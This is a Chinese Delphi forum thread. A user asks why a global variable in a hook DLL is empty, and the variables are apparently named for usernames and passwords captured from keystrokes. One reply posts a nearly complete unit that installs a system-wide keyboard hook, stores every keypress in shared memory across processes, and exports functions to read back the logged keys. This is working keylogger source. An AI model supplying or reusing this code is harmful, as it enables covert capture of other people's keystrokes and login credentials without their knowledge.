delphi中的全局变量怎么不能使用(50分)

  • 主题发起人 主题发起人 xiaoseqq
  • 开始时间 开始时间
X

xiaoseqq

Unregistered / Unconfirmed
GUEST, unregistred user!
library project1;

uses
windows;
var
username,password,kookkey:string;//我定义的全局变量

procedure keyhook(……);//这个是键盘钩子的回调
begin
.
.
hookkey:=…………;//假如这里hookkey取到了键盘记录
username:=username+hookkey;//把键盘记录存储到username中
hookkey:=‘’;
.
.

end;



procedure mousehook(……);//这个是鼠标钩子的回调]
begin
.
.
savetofile(username);//把username保存到文件中
.
.

end;

我的问题是:在上面的procedure mousehook(……);过程中的username变量为什么不和
keyhook(……);过程中username不是同一个,在mousehook中的username表现出来是为空,可是keyhook的不为空,要怎么样才能让这两个username是同一个变量。请大家帮忙解决。QQ:4595464
 
我也遇到这个问题,公共变量进入钩子回调函数就会被清空,不知道为什么,请高手解答。
 
晕,每个进程都有独立的线性内存空间,即使在dll里面声明了全局变量,如果改dll被两个不同的进程加载,则dll拥有两份互相独立的全局变量拷贝,互相无法实现共享!!!!楼主需要用ViewMapOfFile等函数做跨越进程的数据共享。
 
使用钩子,要想在DLL共享数据,要用到内存映射文件
const
VirtualFileName='ShareDllData';
DataSize=sizeof(TShareData);
var
hMapFile:THandle; // 内存映射文件句柄
ShareData:^TShareData; // 共享数据指针
InstalledHook:HHook; // 安装的钩子句柄

function GetKeyHook(sender:HWND;MessageED:Word;):Bool;stdcall;export;
begin
Result:=False;
if InstalledHook=0 then
begin
ShareData^.data1[1]=sender;
ShareData^.data1[2]=MessageID;
InstalledHook:=SetWindowsHookEx(WH_MOUSE,HookHandle,HInstance,0);
Result:=InstalledHook<>0;
end;
end;

其他的函数也是如此,代码就自己写吧。
你们可以看一下关于DLL编程相关的书籍
 
unit UnitDll;

interface

uses Windows;

const BUFFER_SIZE = 16 * 1024;
const HOOK_MEM_FILENAME = 'MEM_FILE';
const HOOK_MUTEX_NAME = 'MUTEX_NAME';
type
TShared = record
Keys: array[0..BUFFER_SIZE] of Char;
KeyCount: Integer;
end;
PShared = ^TShared;
var
MemFile, HookMutex: THandle;
hOldKeyHook: HHook;
Shared: PShared;

implementation

function KeyHookProc(iCode: Integer; wParam: WPARAM;
lParam: LPARAM): LRESULT; stdcall; export;
const
KeyPressMask = $80000000;
begin
if iCode < 0 then
Result := CallNextHookEx(hOldKeyHook,
iCode,
wParam,
lParam)
else begin
if ((lParam and KeyPressMask) = 0) then
begin
Shared^.Keys[Shared^.KeyCount] := Char(wParam and $00FF);
Inc(Shared^.KeyCount);
if Shared^.KeyCount >= BUFFER_SIZE - 1 then Shared^.KeyCount := 0;
end;
result:=0;
end;
end;


function EnableKeyHook: BOOL; export;

begin
Shared^.KeyCount := 0;
if hOldKeyHook = 0 then
begin
hOldKeyHook := SetWindowsHookEx(WH_KEYBOARD,
KeyHookProc,
HInstance,
0);
end;
Result := (hOldKeyHook <> 0);
end;

{撤消钩子过滤函数}
function DisableKeyHook: BOOL; export;
begin
if hOldKeyHook <> 0 then
begin
UnHookWindowsHookEx(hOldKeyHook);
hOldKeyHook := 0;
Shared^.KeyCount := 0;
end;
Result := (hOldKeyHook = 0);
end;



function GetKeyCount: Integer; export;
begin
Result := Shared^.KeyCount;
end;


function GetKey(index: Integer): Char; export;
begin
Result := Shared^.Keys[index];
end;



procedure ClearKeyString; export;
begin
Shared^.KeyCount := 0;
end;

exports
EnableKeyHook,
DisableKeyHook,
GetKeyCount,
ClearKeyString,
GetKey;

initialization
HookMutex := CreateMutex(nil,
True,
HOOK_MUTEX_NAME);
MemFile := OpenFileMapping(FILE_MAP_WRITE,
False,
HOOK_MEM_FILENAME);
if MemFile = 0 then
MemFile := CreateFileMapping($FFFFFFFF,
nil,
PAGE_READWRITE,
0,
SizeOf(TShared),
HOOK_MEM_FILENAME);
Shared := MapViewOfFile(MemFile,
File_MAP_WRITE,
0,
0,
0);
ReleaseMutex(HookMutex);
CloseHandle(HookMutex);
finalization
if hOldKeyHook <> 0 then DisableKeyHook;
UnMapViewOfFile(Shared);
CloseHandle(MemFile);
end.
 
好的谢谢大家的解答,我想这样的话我应该可以解决了
 
每一个dll都有一个独立的Application,和exe的不一样。
所以我们习惯是在dll初始化的时候把它自己的Application存起来,然后负值为Exe的Application,在释放之前再恢复自己的Application。

var
oldApplication: TApplication;

procedure init(ExeApplication: TApplication)
begin
oldApplication := Application;
Application := ExeApplication;
end;

procecure Uninit
begin
Application := oldApplication
end;
 
后退
顶部